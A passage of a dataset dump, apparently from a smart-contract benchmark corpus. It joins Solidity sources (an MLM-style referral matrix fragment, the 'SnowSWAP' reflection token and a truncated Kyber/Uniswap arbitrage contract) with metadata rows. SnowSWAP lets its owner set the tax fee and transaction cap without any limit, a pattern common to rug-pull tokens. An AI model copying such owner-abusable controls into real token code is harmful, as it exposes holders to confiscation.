function getUserUpline(uint _user, uint _height, uint _round) public view returns (uint) {
while (_height > 0) {
_user = users[_user].uplines[_round];
_height--;
}
return _user;
}
function findUplineUp(uint _user, uint _round) public view returns (uint) {
while (users[_user].uplines[_round] == 0) {
_user = users[_user].uplines[1];
}
return _user;
}
function findUplineDown(uint _user, uint _round) public view returns (uint) {
if (users[_user].referrals[_round].length < 2) {
return _user;
}
uint[1024] memory referrals;
referrals[0] = users[_user].referrals[_round][0];
referrals[1] = users[_user].referrals[_round][1];
uint referrer;
for (uint i = 0; i < 1024; i++) {
if (users[referrals[i]].referrals[_round].length < 2) {
referrer = referrals[i];
break;
}
if (i >= 512) {
continue;
}
referrals[(i+1)*2] = users[referrals[i]].referrals[_round][0];
referrals[(i+1)*2+1] = users[referrals[i]].referrals[_round][1];
}
require(referrer != 0, 'Referrer not found');
return referrer;
}
function getLevel(uint _amount) public view returns(uint, uint, uint) {
require(_amount > 0, 'Wrong amount');
uint amount = _amount / 1e6;
uint level = 0;
uint round = 0;
uint levelID = 0;
uint tmp;
for(uint i = 0; i < levelBase.length; i++) {
if(amount % levelBase[i] != 0) continue;
tmp = amount / levelBase[i];
if((tmp&(tmp - 1)) != 0) continue;
round = calc_log2(tmp) + 1;
level = i + 1;
levelID = (round - 1) * levelBase.length + i;
break;
}
require(level > 0, 'Wrong amount');
return (round, level, levelID);
}
function lvlAmount (uint _levelID) public view returns(uint) {
uint level = _levelID % levelBase.length;
uint round = (_levelID - level) / levelBase.length;
uint price = (rpCoeff ** round) * levelBase[level];
return price * 1e6;
}
function getReferralTree(uint _user, uint _treeLevel, uint _round) external view returns (uint[] memory, uint[] memory, uint) {
uint tmp = 2 ** (_treeLevel + 1) - 2;
uint[] memory ids = new uint[](tmp);
uint[] memory lvl = new uint[](tmp);
ids[0] = (users[_user].referrals[_round].length > 0)? users[_user].referrals[_round][0]: 0;
ids[1] = (users[_user].referrals[_round].length > 1)? users[_user].referrals[_round][1]: 0;
lvl[0] = getMaxLevel(ids[0], _round);
lvl[1] = getMaxLevel(ids[1], _round);
for (uint i = 0; i < (2 ** _treeLevel - 2); i++) {
tmp = i * 2 + 2;
ids[tmp] = (users[ids[i]].referrals[_round].length > 0)? users[ids[i]].referrals[_round][0]: 0;
ids[tmp + 1] = (users[ids[i]].referrals[_round].length > 1)? users[ids[i]].referrals[_round][1]: 0;
lvl[tmp] = getMaxLevel(ids[tmp], _round);
lvl[tmp + 1] = getMaxLevel(ids[tmp + 1], _round);
}
uint curMax = getMaxLevel(_user, _round);
return(ids, lvl, curMax);
}
function getMaxLevel(uint _user, uint _round) private view returns (uint){
uint max = 0;
if (_user == 0) return 0;
if (!users[_user].exists) return 0;
for (uint i = 1; i <= levelBase.length; i++) {
if (users[_user].levelExpiry[_round * levelBase.length - i] > now) {
max = levelBase.length - i + 1;
break;
}
}
return max;
}
function getUplines(uint _user, uint _round) public view returns (uint[2] memory uplines, address[2] memory uplinesWallets) {
for(uint i = 0; i < levelBase.length; i++) {
_user = users[_user].uplines[_round];
uplines[i] = _user;
uplinesWallets[i] = users[_user].wallet;
}
}
function getUserLevels(uint _user) external view returns (uint[24] memory levels) {
for (uint i = 0; i < levelBase.length * roundsAmount; i++) {
levels[i] = users[_user].levelExpiry[i];
}
}
function bytesToAddress(bytes memory _addr) private pure returns (address addr) {
assembly {
addr := mload(add(_addr, 20))
}
}
function calc_log2(uint x) private pure returns (uint y){
assembly {
let arg := x
x := sub(x,1)
x := or(x, div(x, 0x02))
x := or(x, div(x, 0x04))
x := or(x, div(x, 0x10))
x := or(x, div(x, 0x100))
x := or(x, div(x, 0x10000))
x := or(x, div(x, 0x100000000))
x := or(x, div(x, 0x10000000000000000))
x := or(x, div(x, 0x100000000000000000000000000000000))
x := add(x, 1)
let m := mload(0x40)
mstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
mstore(add(m,0x80), 0xf7cae577eec2a03cf3bad76fb589591debb2dd67e0aa9834bea6925f6a4a2e0e)
mstore(add(m,0xa0), 0xe39ed557db96902cd38ed14fad815115c786af479b7e83247363534337271707)
mstore(add(m,0xc0), 0xc976c13bb96e881cb166a933a55e490d9d56952b8d4e801485467d2362422606)
mstore(add(m,0xe0), 0x753a6d1b65325d0c552a4d1345224105391a310b29122104190a110309020100)
mstore(0x40, add(m, 0x100))
let magic := 0x818283848586878898a8b8c8d8e8f929395969799a9b9d9e9faaeb6bedeeff
let shift := 0x100000000000000000000000000000000000000000000000000000000000000
let a := div(mul(x, magic), shift)
y := div(mload(add(m,sub(255,a))), shift)
y := add(y, mul(256, gt(arg, 0x8000000000000000000000000000000000000000000000000000000000000000)))
}
}
}
| 290,313 | 10,316 |
6a4eac4f80b423b34f8e7d21906777ec386527956bfa84f11bccdac7adc4ad29
| 30,969 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/43/43dc78704cf773e00c8afc18af901bb81c270486_SnowSWAP.sol
| 5,207 | 18,742 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SnowSWAP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Snow Swap';
string private constant _symbol = 'SWS';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x430a214Ac16B6431D6858FC3256Feeb32898c69a, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 326,196 | 10,317 |
b32270174b41abba29412ce506d2c68d550ed39a849761e89612e17a9169baa0
| 14,121 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb9fd169f2885e5e71d9adb8e6e8505596fec339d.sol
| 3,541 | 13,289 |
pragma solidity ^0.4.26;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, IERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(IERC20 src, IERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate);
function tradeWithHint(IERC20 src, uint srcAmount, IERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(IERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(IERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate (string fromSymbol, string toSymbol, string venue, uint256 amount) external view returns (uint256);
function getTokenDecimalCount (address tokenAddress) external view returns (uint256);
function getTokenAddress (string symbol) external view returns (address);
function getSynthBytes32 (string symbol) external view returns (bytes32);
function getForexAddress (string symbol) external view returns (address);
}
contract Ourbitrage {
uint256 internal constant _DEFAULT_MAX_RATE = 8 * (10 ** 27);
IERC20 internal constant _ETH_TOKEN_ADDRESS = IERC20(0x00EeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
KyberNetworkProxyInterface internal _kyber;
OrFeedInterface internal _orfeed;
mapping(string => UniswapExchangeInterface) internal _uniswap;
address internal _owner;
address internal _feeCollector;
mapping(string => address) internal _fundingToken;
mapping(string => uint) internal _allowedSlippage;
event Arbitrage(string arbType, address fundingToken, uint profit, uint loss);
modifier onlyOwner() {
require(isOwner());
_;
}
constructor() public {
_owner = msg.sender;
}
function () external payable {}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function getVersion() public pure returns (string) {
return "0.0.4";
}
function getPrice(string from, string to, string venue, uint256 amount) public view returns (uint256) {
return _orfeed.getExchangeRate(from, to, venue, amount);
}
function getEthBalance() public view returns (uint256) {
return address(this).balance;
}
function getFundingTokenAddress(string tokenSymbol) public view returns (address) {
return _fundingToken[tokenSymbol];
}
function hasFundingTokenApproval(string tokenSymbol) public view returns (bool) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.allowance(_owner, address(this)) > 0;
}
function getFundingTokenBalance(string tokenSymbol) public view returns (uint256) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.balanceOf(address(this));
}
function getWalletTokenBalance(string tokenSymbol) public view returns (uint256) {
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
return token.balanceOf(msg.sender);
}
function setKyberNetworkProxyInterface(KyberNetworkProxyInterface kyber) public onlyOwner {
require(address(kyber) != address(0), "Invalid KyberNetworkProxyInterface address");
_kyber = KyberNetworkProxyInterface(kyber);
}
function setOrFeedInterface(OrFeedInterface orfeed) public onlyOwner {
require(address(orfeed) != address(0), "Invalid OrFeedInterface address");
_orfeed = OrFeedInterface(orfeed);
}
function setFeeCollector(address feeCollector) public onlyOwner {
require(address(feeCollector) != address(0), "Invalid Fee Collector address");
_feeCollector = feeCollector;
}
function setupFundingToken(string tokenSymbol, address tokenAddress, address uniswapExchangeAddress, uint allowedSlippage) public onlyOwner {
address ourbitrage = address(this);
address kyberAddress = address(_kyber);
IERC20 token = IERC20(tokenAddress);
if (_fundingToken[tokenSymbol] != address(0)) {
uint256 oldTokenBalance = token.balanceOf(ourbitrage);
require(oldTokenBalance == 0, "You have an existing token balance");
}
_fundingToken[tokenSymbol] = tokenAddress;
_uniswap[tokenSymbol] = UniswapExchangeInterface(uniswapExchangeAddress);
_allowedSlippage[tokenSymbol] = allowedSlippage;
require(token.approve(kyberAddress, 0), "Failed to approve Kyber for token transfer");
token.approve(kyberAddress, uint(-1));
require(token.approve(uniswapExchangeAddress, 0), "Failed to approve Uniswap for token transfer");
token.approve(uniswapExchangeAddress, uint(-1));
}
function withdrawETH() public onlyOwner {
_withdrawETH(msg.sender);
}
function withdrawToken(string tokenSymbol) public onlyOwner {
_withdrawToken(tokenSymbol, msg.sender);
}
function depositFunds_APPROVE_FIRST(string tokenSymbol, address tokenAddress, uint tokenAmount) public onlyOwner {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been setup");
require(_fundingToken[tokenSymbol] == tokenAddress, "Funding Token is not the same as the deposited token type");
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 currentTokenBalance = token.balanceOf(msg.sender);
require(tokenAmount <= currentTokenBalance, "User does not have enough funds to deposit");
require(token.transferFrom(msg.sender, address(this), tokenAmount), "Failed to transfer Token Funds into Ourbitrage Contract");
}
function arbEthFromKyberToUniswap(string tokenSymbol) public onlyOwner returns (uint profit, uint loss) {
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 tokenBalance = token.balanceOf(ourbitrage);
if (tokenBalance > 0) {
uint ethAmount = _kyber.tradeWithHint(token, tokenBalance, _ETH_TOKEN_ADDRESS, ourbitrage, _DEFAULT_MAX_RATE, 0, _feeCollector, "PERM");
_uniswap[tokenSymbol].ethToTokenSwapInput.value(ethAmount)(1, block.timestamp);
(profit, loss) = _getProfitLoss(token, tokenBalance);
}
}
function arbEthFromUniswapToKyber(string tokenSymbol) public onlyOwner returns (uint profit, uint loss) {
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 ethBalance = ourbitrage.balance;
uint256 tokenBalance = token.balanceOf(ourbitrage);
if (tokenBalance > 0) {
_uniswap[tokenSymbol].tokenToEthSwapInput(tokenBalance, 1, block.timestamp);
_kyber.swapEtherToToken.value(ourbitrage.balance - ethBalance)(token, 1);
(profit, loss) = _getProfitLoss(token, tokenBalance);
}
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _withdrawETH(address receiver) internal {
require(receiver != address(0), "Invalid receiver for withdraw");
address ourbitrage = address(this);
receiver.transfer(ourbitrage.balance);
}
function _withdrawToken(string tokenSymbol, address receiver) internal {
require(_fundingToken[tokenSymbol] != address(0), "Funding Token has not been setup");
require(receiver != address(0), "Invalid receiver for withdraw");
address ourbitrage = address(this);
IERC20 token = IERC20(_fundingToken[tokenSymbol]);
uint256 currentTokenBalance = token.balanceOf(ourbitrage);
token.transfer(receiver, currentTokenBalance);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
_owner = newOwner;
}
